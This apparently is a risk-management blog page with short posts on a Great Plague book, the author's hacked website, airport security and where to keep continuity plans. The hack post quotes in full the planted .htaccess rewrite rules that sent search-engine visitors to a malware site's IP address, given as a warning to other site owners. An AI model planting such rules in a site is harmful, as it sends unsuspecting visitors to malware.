The Great Plague

Recently I've been reading an interesting book about the Great Plague, the plague which terrorized London (and much of England) in the period 1665-1666.

Widely believed to be bubonic plague spread by fleas from the black rat, rattus rattus^[1], it killed most of the people it infected, was highly contagious, and wiped out a large proportion of the population.

Medicine has changed a lot since then.

But people haven't.

• Fear of contagion lead people to one of four actions. They would either (a) take no precautions whatsoever and live riotously, believing death inevitable, or (b) live in total seclusion, or (c) not become a total recluse, but take extreme care in public places, or (d) flee.
  


• There were tremendous incentives for local authorities to under-report the plague, because of the effect that being associated with the plague would have on trade.


• Political will to take preventative measures diminished between plague outbreaks. Pest houses — built to quarantine actual and suspected victims — were mainly built when the threat was evident. It was difficult to raise money at other times.


• Quarantine — either legally or self imposed — often failed because the quarantined people lacked the means to provide for themselves if confined to their homes. Quarantining of goods and travelers was effective, however.
  
  
• Taxation was a problem. Special taxes were raised to help bury the dead and pay to look after the sick, but because the people being taxed had fled the affected area, the taxes were impossible to collect.


• Gatherings in public places were recognized as a risk and banned.
  
  
• Both goods and people from suspected plague areas were rejected, resulting in a major disruption in trade.

Will people react differently in the next pandemic? I doubt it.

The Great Plague is a dry book but an interesting read.

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[1] The black rat may have gotten a bad rap. There weren't any extra deaths reported in the rat population during this period, so the theory that rat fleas carrying the plague moved to humans when their rat host died is not supported by the evidence. There's really a lot about the plague outbreak we don't know: there's even doubt about whether it was bubonic plague or viral hemorrhagic fever.

My Website Got Hacked!

Anybody who was referred to www.RiskyThinking.com (or some other sites) through a search engine was redirected to a Russian malware site for a fake "AntiVirus" scanner. Searching around the net, it appears that other sites hosted at IX Web Hosting (ixwebhosting.com) were also hacked. .

It was quite a cunning plan. For the technically inclined, the ".htaccess" file was replaced with the text

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.202/in.html?s=ix [R,L]

which for those who don't speak Apache (Web Server Dialect), means

Redirect everybody who came here from a search engine to a malware site.

The cunning part being that if I visited my own site from a bookmark, a hyperlink, or by typing in the URL, it should have appeared normal. In fact due to an error, the site crashed, which is how I noticed the problem. A visitor who found the site through a search engine also took the trouble to email me a warning that the site had been hacked - Thanks Paul.

There unfortunately isn't any way to tell the visitors who got redirected what happened.

I've been through my log files, checked the access logs, changed passwords, and concluded the security breech wasn't due to a security hole in my website or carelessness on my part.

All I can really do now is warn other site owners of this exploit (via this posting), and

I would like to apologize to
people I do not know
and cannot know
for an unknown error
made by an unknown person.

That sounds almost like the poetry of Donald Rumsfeld.

Airport Insecurity

The last time I traveled through Ottawa airport (that's the capital of Canada, not the small town in Ohio), I had a problem at security.

I'd forgotten to pack my trusty Swiss Army Knife in checked baggage, and was stopped by an alert security guard just before I reached the metal detector. (No she didn't have X-ray vision, it was attached to my belt).

Before 9/11, carrying a penknife onto an aircraft was never a problem. Once, when the penknife triggered a metal detector at Montreal airport, I recall an experienced security guard explaining to a new security card that a "canif" with a small blade was perfectly acceptable.

This time, however, I could not take it with me. My "checked" baggage had already gone through so I had to phone my wife and get her to come back to the airport to collect my penknife. (I'm really very attached to that penknife).

All of which makes the above photograph rather ironic. It shows a special container for disposing of sharp objects. I observed it in the gentlemen's toilets in the secure area of the terminal at Ottawa airport. As you can see, the container is half full.

So even if you didn't manage to bring any nasty sharp objects with you through security, you can conveniently pick up a few here.

Putting your plan where it counts

When I was visiting a retailer recently I noticed that they had posted copies of their staff emergency procedures near each telephone.

That's a great idea, I thought. Why don't more organizations do that?

I've noticed that a lot of companies don't know where to keep their business continuity plans once they have written them.

How do you decide where your plans and procedures should be kept? The answer grew into something too long for a short blog entry. See Putting Your Plan Where it Counts.